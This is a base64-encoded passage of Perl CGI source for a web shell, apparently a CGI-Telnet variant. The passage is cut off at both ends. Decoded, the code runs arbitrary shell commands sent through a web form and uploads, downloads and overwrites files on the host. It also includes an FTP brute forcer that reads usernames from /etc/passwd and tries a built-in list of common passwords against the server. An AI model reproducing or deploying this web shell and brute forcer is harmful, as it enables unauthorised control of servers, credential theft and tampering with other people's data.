pbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzd